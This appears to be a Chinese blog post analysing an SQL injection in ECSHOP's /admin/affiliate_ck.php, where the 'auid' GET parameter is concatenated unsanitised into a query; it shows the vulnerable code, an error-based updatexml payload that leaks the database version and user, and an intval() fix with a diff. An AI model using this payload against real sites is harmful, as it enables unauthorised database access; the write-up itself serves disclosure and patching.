IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    ECSHOP /admin/affiliate_ck.php sql注入

    没穿底裤发表于 2016-08-19 07:44:17
    love 0

    /admin/affiliate_ck.php (207-350)是整个get_affiliate_ck函数.

    function get_affiliate_ck()
    {
    
        $affiliate = unserialize($GLOBALS['_CFG']['affiliate']);
        empty($affiliate) && $affiliate = array();
        $separate_by = $affiliate['config']['separate_by'];
    
        $sqladd = '';
        if (isset($_REQUEST['status']))
        {
            $sqladd = ' AND o.is_separate = ' . (int)$_REQUEST['status'];
            $filter['status'] = (int)$_REQUEST['status'];
        }
        if (isset($_REQUEST['order_sn']))
        {
            $sqladd = ' AND o.order_sn LIKE \'%' . trim($_REQUEST['order_sn']) . '%\'';
            $filter['order_sn'] = $_REQUEST['order_sn'];
        }
        if (isset($_GET['auid']))
        {
            $sqladd = ' AND a.user_id=' . $_GET['auid'];
        }
    
        if(!empty($affiliate['on']))
        {
            if(empty($separate_by))
            {
                //推荐注册分成
                $sql = "SELECT COUNT(*) FROM " . $GLOBALS['ecs']->table('order_info') . " o".
                        " LEFT JOIN".$GLOBALS['ecs']->table('users')." u ON o.user_id = u.user_id".
                        " LEFT JOIN " . $GLOBALS['ecs']->table('affiliate_log') . " a ON o.order_id = a.order_id" .
                        " WHERE o.user_id > 0 AND (u.parent_id > 0 AND o.is_separate = 0 OR o.is_separate > 0) $sqladd";
            }
            else
            {
                //推荐订单分成
                $sql = "SELECT COUNT(*) FROM " . $GLOBALS['ecs']->table('order_info') . " o".
                        " LEFT JOIN".$GLOBALS['ecs']->table('users')." u ON o.user_id = u.user_id".
                        " LEFT JOIN " . $GLOBALS['ecs']->table('affiliate_log') . " a ON o.order_id = a.order_id" .
                        " WHERE o.user_id > 0 AND (o.parent_id > 0 AND o.is_separate = 0 OR o.is_separate > 0) $sqladd";
            }
        }
        else
        {
            $sql = "SELECT COUNT(*) FROM " . $GLOBALS['ecs']->table('order_info') . " o".
                    " LEFT JOIN".$GLOBALS['ecs']->table('users')." u ON o.user_id = u.user_id".
                    " LEFT JOIN " . $GLOBALS['ecs']->table('affiliate_log') . " a ON o.order_id = a.order_id" .
                    " WHERE o.user_id > 0 AND o.is_separate > 0 $sqladd";
        }
    
    	echo $sql;

    其中发现对$_GET[‘auid’]的取值仅仅是直接传入就加入了sql语句

        if (isset($_GET['auid']))
        {
            $sqladd = ' AND a.user_id=' . $_GET['auid'];
        }

    只要满足了$_GET[‘auid’]不为空就可以直接代入,导致了sql注入发生

    1

    执行的sql语句为

    SELECT COUNT(*) FROM `ecshop`.`ecs_order_info` o LEFT 
    JOIN`ecshop`.`ecs_users` u ON o.user_id = u.user_id LEFT JOIN 
    `ecshop`.`ecs_affiliate_log` a ON o.order_id = a.order_id WHERE 
    o.user_id > 0 AND (u.parent_id > 0 AND o.is_separate = 0 OR 
    o.is_separate > 0)  AND a.user_id=3 and 
    updatexml(1,concat(0x7e,concat(version(),0x3a,user()),0x7e),1)

    修复方案

    对$_GET[‘auid’]强制转换

        if (isset($_GET['auid']))
        {
            $sqladd = ' AND a.user_id=' . intval($_GET['auid']);
        }

    diff

    227c227
    <         $sqladd = ' AND a.user_id=' . $_GET['auid'];
    ---
    >         $sqladd = ' AND a.user_id=' . intval($_GET['auid']);



沪ICP备19023445号-2号
友情链接